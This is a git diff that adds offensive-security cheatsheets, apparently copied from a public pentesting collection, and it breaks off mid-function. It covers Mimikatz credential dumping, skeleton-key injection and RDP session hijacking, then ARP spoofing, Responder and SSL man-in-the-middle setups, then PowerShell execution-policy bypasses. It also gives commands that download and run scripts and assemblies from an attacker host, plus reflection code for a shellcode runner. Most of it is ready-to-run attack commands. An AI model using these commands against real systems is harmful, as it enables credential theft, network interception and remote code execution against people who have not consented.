+misc::skeleton +# map the share +net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz +# login as someone +rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab +``` + +## RDP Session Takeover + +Use `ts::multirdp` to patch the RDP service to allow more than two users. + +* Enable privileges + + ```powershell + privilege::debug + token::elevate + ``` + +* List RDP sessions + + ```powershell + ts::sessions + ``` + +* Hijack session + + ```powershell + ts::remote /id:2 + ``` + +Run `tscon.exe` as the SYSTEM user, you can connect to any session without a password. + +```powershell +# get the Session ID you want to hijack +query user +create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55" +net start sesshijack +``` + +## RDP Passwords + +Verify if the service is running: + +```ps1 +sc queryex termservice +tasklist /M:rdpcorets.dll +netstat -nob | Select-String TermService -Context 1 +``` + +* Extract passwords manually + + ```ps1 + procdump64.exe -ma 988 -accepteula C:\svchost.dmp + strings -el svchost* | grep Password123 -C3 + ``` + +* Extract passwords using Mimikatz + + ```ps1 + privilege::debug + ts::logonpasswords + ``` + +## Credential Manager & DPAPI + +```powershell +# check the folder to find credentials +dir C:\Users\\AppData\Local\Microsoft\Credentials\* + +# check the file with mimikatz +$ mimikatz dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 + +# find master key +$ mimikatz !sekurlsa::dpapi + +# use master key +$ mimikatz dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b +``` + +### Chrome Cookies & Credential + +```powershell +# Saved Cookies +dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect +dpapi::chrome /in:"C:\Users\kbell\AppData\Local\Google\Chrome\User Data\Default\Cookies" /masterkey:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b + +# Saved Credential in Chrome +dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect +``` + +### Task Scheduled credentials + +```powershell +mimikatz(commandline) # vault::cred /patch +TargetName : Domain:batch=TaskScheduler:Task:{CF3ABC3E-4B17-ABCD-0003-A1BA192CDD0B} / +UserName : DOMAIN\user +Comment : +Type : 2 - domain_password +Persist : 2 - local_machine +Flags : 00004004 +Credential : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX +Attributes : 0 +``` + +### Vault + +```powershell +vault::cred /in:C:\Users\demo\AppData\Local\Microsoft\Vault\" +``` + +## Commands list + +| Command |Definition| +|:----------------:|:---------------| +| CRYPTO::Certificates|list/export certificates| +|CRYPTO::Certificates | list/export certificates| +|KERBEROS::Golden | create golden/silver/trust tickets| +|KERBEROS::List | list all user tickets (TGT and TGS) in user memory. No special privileges required since it only displays the current user’s tickets.Similar to functionality of “klist”.| +|KERBEROS::PTT | pass the ticket. Typically used to inject a stolen or forged Kerberos ticket (golden/silver/trust).| +|LSADUMP::DCSync | ask a DC to synchronize an object (get password data for account). No need to run code on DC.| +|LSADUMP::LSA | Ask LSA Server to retrieve SAM/AD enterprise (normal, patch on the fly or inject). Use to dump all Active Directory domain credentials from a Domain Controller or lsass.dmp dump file. Also used to get specific account credential such as krbtgt with the parameter /name: “/name:krbtgt”| +|LSADUMP::SAM | get the SysKey to decrypt SAM entries (from registry or hive). The SAM option connects to the local Security Account Manager (SAM) database and dumps credentials for local accounts. This is used to dump all local credentials on a Windows computer.| +|LSADUMP::Trust | Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly). Dumps trust keys (passwords) for all associated trusts (domain/forest).| +|MISC::AddSid | Add to SIDHistory to user account. The first value is the target account and the second value is the account/group name(s) (or SID). Moved to SID:modify as of May 6th, 2016.| +|MISC::MemSSP | Inject a malicious Windows SSP to log locally authenticated credentials.| +|MISC::Skeleton | Inject Skeleton Key into LSASS process on Domain Controller. This enables all user authentication to the Skeleton Key patched DC to use a “master password” (aka Skeleton Keys) as well as their usual password.| +|PRIVILEGE::Debug | get debug rights (this or Local System rights is required for many Mimikatz commands).| +|SEKURLSA::Ekeys | list Kerberos encryption keys| +|SEKURLSA::Kerberos | List Kerberos credentials for all authenticated users (including services and computer account)| +|SEKURLSA::Krbtgt | get Domain Kerberos service account (KRBTGT)password data| +|SEKURLSA::LogonPasswords | lists all available provider credentials. This usually shows recently logged on user and computer credentials.| +|SEKURLSA::Pth | Pass- theHash and Over-Pass-the-Hash| +|SEKURLSA::Tickets | Lists all available Kerberos tickets for all recently authenticated users, including services running under the context of a user account and the local computer’s AD computer account. Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users).| +|TOKEN::List | list all tokens of the system| +|TOKEN::Elevate | impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box| +|TOKEN::Elevate /domainadmin | impersonate a token with Domain Admin credentials.| + +## Powershell version + +Mimikatz in memory (no binary on disk) with : + +* [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1) from PowerShellEmpire +* [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1) from PowerSploit + +More information can be grabbed from the Memory with : + +* [Invoke-Mimikittenz](https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1) + +## References + +* [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821) +* [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/) +* [Reversing Wdigest configuration in Windows Server 2012 R2 and Windows Server 2016 - 5TH DECEMBER 2017 - ACOUCH](https://www.adamcouch.co.uk/reversing-wdigest-configuration-in-windows-server-2012-r2-and-windows-server-2016/) +* [Dumping RDP Credentials - MAY 24, 2021](https://pentestlab.blog/2021/05/24/dumping-rdp-credentials/) diff --git a/personas/_shared/internal-allthethings/cheatsheets/miscellaneous-tricks.md b/personas/_shared/internal-allthethings/cheatsheets/miscellaneous-tricks.md new file mode 100644 index 0000000..16ab159 --- /dev/null +++ b/personas/_shared/internal-allthethings/cheatsheets/miscellaneous-tricks.md @@ -0,0 +1,44 @@ +# Miscellaneous & Tricks + +All the tricks that couldn't be classified somewhere else. + +## Send Messages to Other Users + +* Windows + +```powershell +PS C:\> msg Swissky /SERVER:CRASHLAB "Stop rebooting the XXXX service !" +PS C:\> msg * /V /W /SERVER:CRASHLAB "Hello all !" +``` + +* Linux + +```powershell +wall "Stop messing with the XXX service !" +wall -n "System will go down for 2 hours maintenance at 13:00 PM" # "-n" only for root +who +write root pts/2 # press Ctrl+D after typing the message. +``` + +## NetExec Credential Database + +```ps1 +nxcdb (default) > workspace create test +nxcdb (test) > workspace default +nxcdb (test) > proto smb +nxcdb (test)(smb) > creds +nxcdb (test)(smb) > export creds csv /tmp/creds +``` + +NetExec workspaces + +```ps1 +# get current workspace +poetry run nxcdb -gw + +# create workspace +poetry run nxcdb -cw testing + +# set workspace +poetry run nxcdb -sw testing +``` diff --git a/personas/_shared/internal-allthethings/cheatsheets/network-discovery.md b/personas/_shared/internal-allthethings/cheatsheets/network-discovery.md new file mode 100644 index 0000000..3d4d7be --- /dev/null +++ b/personas/_shared/internal-allthethings/cheatsheets/network-discovery.md @@ -0,0 +1,372 @@ +# Network Discovery + +## MAC Address + +* [mac2vendor.com](https://mac2vendor.com/) - OUI Database Lookup +* [oui.is](https://oui.is/) - MAC Address Vendor Lookup + +| MAC Prefix | Description | +| ---------- | --------------------- | +| FC:D4:F2 | Coca Cola Company | +| 00:9E:C8 | Xiaomi Communications | +| 08:9E:08 | Google | + +```ps1 +sudo ifconfig down +sudo ifconfig hw ether +sudo ifconfig up +``` + +## DHCP + +DHCP (Dynamic Host Configuration Protocol) is a networking protocol used to automatically assign IP addresses and other network configuration parameters to devices on a network. DHCP allows devices to obtain necessary network configuration information from a DHCP server, rather than having to be manually configured. + +```ps1 +sudo nmap --script broadcast-dhcp-discover +Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 11:15 CET +Pre-scan script results: +| broadcast-dhcp-discover: +| Response 1 of 1: +| Interface: eth0 +| IP Offered: 192.168.1.111 +| DHCP Message Type: DHCPOFFER +| Server Identifier: 192.168.1.254 +| IP Address Lease Time: 1d00h00m00s +| Renewal Time Value: 12h00m00s +| Rebinding Time Value: 21h00m00s +| Broadcast Address: 192.168.1.255 +| Hostname: Host-005 +| Domain Name Server: 192.168.1.254 +| Domain Name: lan +| Router: 192.168.1.254 +|_ Subnet Mask: 255.255.255.0 +``` + +## DNS + +* AD DNS + * LDAP: `nslookup -type=srv _ldap._tcp.dc._msdcs.` + * KDC: `nslookup -type=srv _kerberos._tcp.` + * Global catalog: `nslookup -type=srv _ldap._tcp.` + +## NBT-NS + +NS (Name Service) is a component of NBT that provides name resolution services for NETBIOS names. In the context of NBT, NS is responsible for mapping NETBIOS names to IP addresses. + +NBT NS uses a distributed database to store NETBIOS name-to-IP address mappings. Each computer on the network is responsible for registering its own name and IP address in the database, and for resolving names to IP addresses when necessary. When a computer needs to resolve a NETBIOS name to an IP address, it sends a query to the NBT NS service on another computer on the network. The NBT NS service responds with the IP address associated with the requested name, if it is known. It works on `UDP, Port 137`. + +* Get names: `nbtscan -r 192.168.1.0/24` +* Get the name for a single IP: `nmblookup -A ` + +## MDNS + +MDNS (Multicast Domain Name System) is a protocol used for zero-configuration networking, also known as "zeroconf". It allows devices on a local network to automatically discover each other and resolve hostnames to IP addresses without the need for a centralized DNS server. + +MDNS works by using multicast addresses to send DNS queries and responses. When a device wants to resolve a hostname to an IP address, it sends a multicast DNS query to a special multicast address (224.0.0.251 for IPv4 and ff02::fb for IPv6). Any device on the network that is listening for multicast DNS queries and has a matching hostname will respond with its IP address. + +```ps1 +mdns-scan +``` + +## ARP + +ARP (Address Resolution Protocol) is a networking protocol used to map IP addresses to MAC (Media Access Control) addresses on a local area network (LAN). + +* ARP neighbors + + ```ps1 + :~$ ip neigh + 192.168.122.1 dev enp1s0 lladdr 52:54:00:ff:0a:2c STALE + 192.168.122.98 dev enp1s0 lladdr 52:54:00:ff:aa:bb STALE + ``` + +* ARP scan with `nmap` - note, needs root privileges. Check what packets nmap is sending with `--packet-trace` + + ```ps1 + :~# nmap -sn -n 192.168.122.0/24 + Starting Nmap 7.93 ( https://nmap.org ) + Nmap scan report for 192.168.122.1 + Host is up (0.00032s latency). + MAC Address: 52:54:00:FF:0A:2C (QEMU virtual NIC) + ``` + +* ARP scan with `arp-scan` + + ```ps1 + root@kali:~# arp-scan -l + Interface: eth0, datalink type: EN10MB (Ethernet) + Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/) + 172.16.193.1 00:50:56:c0:00:08 VMware, Inc. + 172.16.193.2 00:50:56:f1:18:a8 VMware, Inc. + 172.16.193.254 00:50:56:e5:7b:87 VMware, Inc. + ``` + +* ARP spoof with `arpspoof` + + ```ps1 + arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host + arpspoof -i wlan0 -t 10.0.0.X 10.0.0.Y + ``` + +* ARP spoof with `Bettercap` + + ```ps1 + sudo bettercap -iface wlan0 + net.probe on + set arp.spoof.targets + arp.spoof on + net.sniff on + ``` + +## Ping + +* Ping sweep with `nmap`: no port scan, no DNS resolution + + ```powershell + nmap -sn -n --disable-arp-ping 192.168.1.1-254 | grep -v "host down" + -sn : Disable port scanning. Host discovery only. + -n : Never do DNS resolution + ``` + +## LDAP + +* Null bind connection: `ldapsearch -x -h -s base` + +## Port Scans and Enumeration + +### Nmap + +* Basic NMAP + +```bash +sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4 +sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv + +• the flag -sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports +• the -p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000) +• 192.168.0.1 is the IP address to scan +• -oA OUTPUTFILE tells Nmap to output the findings in its three major formats at once using the filename "OUTPUTFILE" +• -iL INPUTFILE tells Nmap to use the provided file as inputs +``` + +* CTF NMAP + +This configuration is enough to do a basic check for a CTF VM + +```bash +nmap -sV -sC -oA ~/nmap-initial 192.168.1.1 + +-sV : Probe open ports to determine service/version info +-sC : to enable the script +-oA : to save the results + +After this quick command you can add "-p-" to run a full scan while you work with the previous result +``` + +* Aggressive NMAP + +```bash +nmap -A -T4 scanme.nmap.org +• -A: Enable OS detection, version detection, script scanning, and traceroute +• -T4: Defines the timing for the task (options are 0-5 and higher is faster) +``` + +* Using searchsploit to detect vulnerable services + +```bash +nmap -p- -sV -oX a.xml IP_ADDRESS; searchsploit --nmap a.xml +``` + +* Generating nice scan report + +```bash +nmap -sV IP_ADDRESS -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y`_report.html" +``` + +* NMAP Scripts + +```bash +nmap -sC : equivalent to --script=default + +nmap --script 'http-enum' -v web.xxxx.com -p80 -oN http-enum.nmap +PORT STATE SERVICE +80/tcp open http +| http-enum: +| /phpmyadmin/: phpMyAdmin +| /.git/HEAD: Git folder +| /css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)' +|_ /image/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)' + +nmap --script smb-enum-users.nse -p 445 [target host] +Host script results: +| smb-enum-users: +| METASPLOITABLE\backup (RID: 1068) +| Full name: backup +| Flags: Account disabled, Normal user account +| METASPLOITABLE\bin (RID: 1004) +| Full name: bin +| Flags: Account disabled, Normal user account +| METASPLOITABLE\msfadmin (RID: 3000) +| Full name: msfadmin,,, +| Flags: Normal user account + +List Nmap scripts : ls /usr/share/nmap/scripts/ +``` + +### Network Scan with nc and ping + +Sometimes we want to perform network scan without any tools like nmap. So we can use the commands `ping` and `nc` to check if a host is up and which port is open. + +To check if hosts are up on a /24 range + +```bash +for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP"; fi ; done +``` + +To check which ports are open on a specific host + +```bash +for i in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.18 $i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.18 has port $i open"; fi ; done +``` + +Both at the same time on a /24 range + +```bash +for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP:"; for j in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.$i $j > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "\t192.168.1.$i has port $j open"; fi ; done ; fi ; done +``` + +Not in one-liner version: + +```bash +for i in `seq 1 255`; +do + ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; + if [ $? -eq 0 ]; + then + echo "192.168.1.$i is UP:"; + for j in {21,22,80,139,443,445,3306,3389,8080,8443}; + do + nc -z -w 1 192.168.1.$i $j > /dev/null 2>&1; + if [ $? -eq 0 ]; + then + echo "\t192.168.1.$i has port $j open"; + fi ; + done ; + fi ; +done +``` + +### Network Scan with PowerShell + +```powershell +# ping scan +tnc 8.8.8.8 + +# port scan +tnc 8.8.8.8 -port 443 +``` + +### Masscan + +```powershell +masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out +masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000 + +# find machines on the network +sudo masscan --rate 500 --interface tap0 --router-ip $ROUTER_IP --top-ports 100 $NETWORK -oL masscan_machines.tmp +cat masscan_machines.tmp | grep open | cut -d " " -f4 | sort -u > masscan_machines.lst + +# find open ports for one machine +sudo masscan --rate 1000 --interface tap0 --router-ip $ROUTER_IP -p1-65535,U:1-65535 $MACHINE_IP --banners -oL $MACHINE_IP/scans/masscan-ports.lst + + +# TCP grab banners and services information +TCP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep tcp | cut -d " " -f3 | tr '\n' ',' | head -c -1) +[ "$TCP_PORTS" ] && sudo nmap -sT -sC -sV -v -Pn -n -T4 -p$TCP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_tcp $MACHINE_IP + +# UDP grab banners and services information +UDP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep udp | cut -d " " -f3 | tr '\n' ',' | head -c -1) +[ "$UDP_PORTS" ] && sudo nmap -sU -sC -sV -v -Pn -n -T4 -p$UDP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_udp $MACHINE_IP +``` + +### Reconnoitre + +Dependencies: + +* nbtscan +* nmap + +```powershell +python2.7 ./reconnoitre.py -t 192.168.1.2-252 -o ./results/ --pingsweep --hostnames --services --quick +``` + +If you have a segfault with nbtscan, read the following quote. +> Permission is denied on the broadcast address (.0) and it segfaults on the gateway (.1) - all other addresses seem fine here.So to mitigate the problem: nbtscan 192.168.0.2-255 + +## Netdiscover + +```powershell +netdiscover -i eth0 -r 192.168.1.0/24 +Currently scanning: Finished! | Screen View: Unique Hosts + +20 Captured ARP Req/Rep packets, from 4 hosts. Total size: 876 +_____________________________________________________________________________ +IP At MAC Address Count Len MAC Vendor / Hostname +----------------------------------------------------------------------------- +192.168.1.AA 68:AA:AA:AA:AA:AA 15 630 Sagemcom +192.168.1.XX 52:XX:XX:XX:XX:XX 1 60 Unknown vendor +192.168.1.YY 24:YY:YY:YY:YY:YY 1 60 QNAP Systems, Inc. +192.168.1.ZZ b8:ZZ:ZZ:ZZ:ZZ:ZZ 3 126 HUAWEI TECHNOLOGIES CO.,LTD +``` + +## Responder + +```powershell +responder -I eth0 -A # see NBT-NS, BROWSER, LLMNR requests without responding. +responder.py -I eth0 -wrf +``` + +Alternatively you can use the [Windows version](https://github.com/lgandx/Responder-Windows) + +## MITM + +* WSUS poisoning +* ARP poisoning +* DHCP poisoning: `responder --interface "eth0" --DHCP --wpad` + +### Bettercap + +```powershell +bettercap -X --proxy --proxy-https -T +# better cap in spoofing, discovery, sniffer +# intercepting http and https requests, +# targetting specific IP only +``` + +### SSL MITM with OpenSSL + +This code snippet allows you to sniff/modify SSL traffic if there is a MITM vulnerability using only openssl. +If you can modify `/etc/hosts` of the client: + +```powershell +sudo echo "[OPENSSL SERVER ADDRESS] [domain.of.server.to.mitm]" >> /etc/hosts # On client host +``` + +On our MITM server, if the client accepts self signed certificates (you can use a legit certificate if you have the private key of the legit server): + +```powershell +openssl req -subj '/CN=[domain.of.server.to.mitm]' -batch -new -x509 -days 365 -nodes -out server.pem -keyout server.pem +``` + +On our MITM server, we setup our infra: + +```powershell +mkfifo response +sudo openssl s_server -cert server.pem -accept [INTERFACE TO LISTEN TO]:[PORT] -quiet < response | tee | openssl s_client -quiet -servername [domain.of.server.to.mitm] -connect[IP of server to MITM]:[PORT] | tee | cat > response +``` + +In this example, traffic is only displayed with `tee` but we could modify it using `sed` for example. + +## References + +* [Pwning the Domain: Credentialess/Username - hadess - February 7, 2024](https://hadess.io/pwning-the-domain-credentialess-username/) diff --git a/personas/_shared/internal-allthethings/cheatsheets/powershell-cheatsheet.md b/personas/_shared/internal-allthethings/cheatsheets/powershell-cheatsheet.md new file mode 100644 index 0000000..ee8a3b2 --- /dev/null +++ b/personas/_shared/internal-allthethings/cheatsheets/powershell-cheatsheet.md @@ -0,0 +1,364 @@ +# Powershell + +## Summary + +- [Powershell](#powershell) + - [Summary](#summary) + - [Execution Policy](#execution-policy) + - [Encoded Commands](#encoded-commands) + - [Constrained Mode](#constrained-mode) + - [Encoded Commands](#encoded-commands) + - [Download file](#download-file) + - [Load Powershell scripts](#load-powershell-scripts) + - [Load C# assembly reflectively](#load-c-assembly-reflectively) + - [Call Win API using delegate functions with Reflection](#call-win-api-using-delegate-functions-with-reflection) + - [Resolve address functions](#resolve-address-functions) + - [DelegateType Reflection](#delegatetype-reflection) + - [Example with a simple shellcode runner](#example-with-a-simple-shellcode-runner) + - [Secure String to Plaintext](#secure-string-to-plaintext) + - [References](#references) + +## Execution Policy + +```ps1 +powershell -EncodedCommand $encodedCommand +powershell -ep bypass ./PowerView.ps1 + +# Change execution policy +Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted +Set-ExecutionPolicy Bypass -Scope Process +``` + +## Constrained Mode + +```ps1 +# Check if we are in a constrained mode +# Values could be: FullLanguage or ConstrainedLanguage +$ExecutionContext.SessionState.LanguageMode + +## Bypass +powershell -version 2 +``` + +## Encoded Commands + +- Windows + + ```ps1 + $command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' + $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) + $encodedCommand = [Convert]::ToBase64String($bytes) + ``` + +- Linux: :warning: UTF-16LE encoding is required + + ```ps1 + echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0 + ``` + +## Download file + +```ps1 +# Any version +(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1") +wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" +Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output + +# Powershell 4+ +IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe" +Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe" +``` + +## Load Powershell scripts + +```ps1 +# Proxy-aware +IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') +echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile - +powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex" + +# Non-proxy aware +$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText +``` + +## Load C# assembly reflectively + +```powershell +# Download and run assembly without arguments +$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe') +$assem = [System.Reflection.Assembly]::Load($data) +[rev.Program]::Main() + +# Download and run Rubeus, with arguments (make sure to split the args) +$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe') +$assem = [System.Reflection.Assembly]::Load($data) +[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split()) + +# Execute a specific method from an assembly (e.g. a DLL) +$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll') +$assem = [System.Reflection.Assembly]::Load($data) +$class = $assem.GetType("ClassLibrary1.Class1") +$method = $class.GetMethod("runner") +$method.Invoke(0, $null) +``` + +## Call Win API using delegate functions with Reflection + +### Resolve address functions + +To perform reflection we first need to obtain `GetModuleHandle` and `GetProcAdresse` to be able to lookup of Win32 API function addresses. + +To retrieve those function we will need to find out if there are included inside the existing loaded Assemblies. + +```powershell +# Retrieve all loaded Assemblies +$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies() + +Iterate over all the Assemblies, to retrieve all the Static and Unsafe Methods +$Assemblies | + ForEach-Object { + $_.GetTypes()| + ForEach-Object { + $_ | Get-Member -Static| Where-Object { + $_.TypeName.Contains('Unsafe') + } + } 2> $nul l +``` + +We want to find where the Assemblies are located, so we will use the statement `Location`. Then we will look for all the methods inside the Assembly `Microsoft.Win32.UnsafeNativeMethods` +TBN: `GetModuleHandle` and `GetProcAddress` are located in `C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll` + +If we want to use those function we need in a first time get a reference to the .dll file we need the object to have the property `GlobalAssemblyCache` set (The Global Assembly Cache is essentially a list of all native and registered assemblies on Windows, which will allow us to filter out non-native assemblies). The second filter is to retrieve the `System.dll`. + +```powershell +$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { + $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') +}) + +$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods') +``` + +To retrieve the method `GetModuleHandle`, we can use the method `GetMethod()` to retrieve it. +`$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')` + +Now we can use the `Invoke` method of our object `$GetModuleHandle` to get a reference of an unmanaged DLL. +Invoke takes two arguments and both are objects: + +- The first argument is the object to invoke it on but since we use it on a static method we may set it to "$null". +- The second argument is an array consisting of the arguments for the method we are invoking (GetModuleHandle). Since the Win32 API only takes the name of the DLL as a string we only need to supply that. +`$GetModuleHandle.Invoke($null, @("user32.dll"))` + +However, we want to use the same method to use the function `GetProcAddress`, it won't work due to the fact that our `System.dll` object retrieved contains multiple occurences of the method `GetProcAddress`. Therefore the internal method `GetMethod()` will throw an error `"Ambiguous match found."`. + +Therefore we will use the method `GetMethods()` to get all the available methods and then iterate over them to retrieve only those we want. + +```powershell +$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}} +``` + +If we want to get the `GetProcAddress` reference, we will construct an array to store our matching object and use the first entry. + +```powershell +$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} +$GetProcAddress = $tmp[0] +``` + +We need to take the first one, because the arguments type of the second one does not match with ours. + +Alternatively we can use `GetMethod` function to precise the argument types that we want. + +```powershell +$GetProcAddress = $unsafeObj.GetMethod('GetProcAddress', + [reflection.bindingflags]'Public,Static', + $null, + [System.Reflection.CallingConventions]::Any, + @([System.IntPtr], [string]), + $null); +``` + +cf: [https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0](https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0) + +Now we have everything to resolve any function address we want. + +```powershell +$user32 = $GetModuleHandle.Invoke($null, @("user32.dll")) +$tmp=@() +$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} +$GetProcAddress = $tmp[0] +$GetProcAddress.Invoke($null, @($user32, "MessageBoxA")) +``` + +If we put everything in a function: + +```powershell +function LookupFunc { + + Param ($moduleName, $functionName) + + $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') + $tmp=@() + $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} + return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) +} +``` + +### DelegateType Reflection + +To be able to use the function that we have retrieved the address, we need to pair the information about the number of arguments and their associated data types with the resolved function memory address. This is done through `DelegateType`. +The DelegateType Reflection consists in manually create an assembly in memory and populate it with content. + +The first step is to create a new assembly with the class `AssemblyName` and assign it a name. + +```powershell +$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') +``` + +Now we want to set permission on our Assembly. We need to set it to executable and to not be saved to the disk. For that the method `DefineDynamicAssembly` will be used. + +```powershell +$Domain = [AppDomain]::CurrentDomain +$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) +``` + +Now that everything is set, we can start creating content inside our assembly. First, we will need to create the main building block which is a Module. This can be done through the method `DefineDynamicModule` +The method need a custom name as the first argument and a boolean indicating if we want to include symbols or not. + +```powershell +$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) +``` + +The next step consists by creating a custom type that will become our delegate type. It can be done with the method `DefineType`. +The arguments are: + +- a custom name +- the attributes of the type +- the type it build on top of + +```powershell +$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) +``` + +Then we will need to set the prototype of our function. +First we need to use the method `DefineConstructor` to define a constructor. The method takes three arguments: + +- the attributes of the constructor +- calling convention +- the parameter types of the constructor that will become the function prototype + +```powershell +$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', + [System.Reflection.CallingConventions]::Standard, + @([IntPtr], [String], [String], [int])) +``` + +Then we need to set some implementation flags with the method `SetImplementationFlags`. + +```powershell +$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed') +``` + +To be able to call our function, we need to define the `Invoke` method in our delegate type. For that the method `DefineMethod` allows us to do that. +The method takes four arguments: + +- name of the method defined +- method attributes +- return type +- array of argument types + +```powershell +$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', + 'Public, HideBySig, NewSlot, Virtual', + [int], + @([IntPtr], [String], [String], [int])) +``` + +If we put everything in a function: + +```powershell +function Get-Delegate +{ + Param ( + [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address + [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types + [Parameter(Position = 2)] [Type] $retType = [Void] # Return type + ) + + $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), 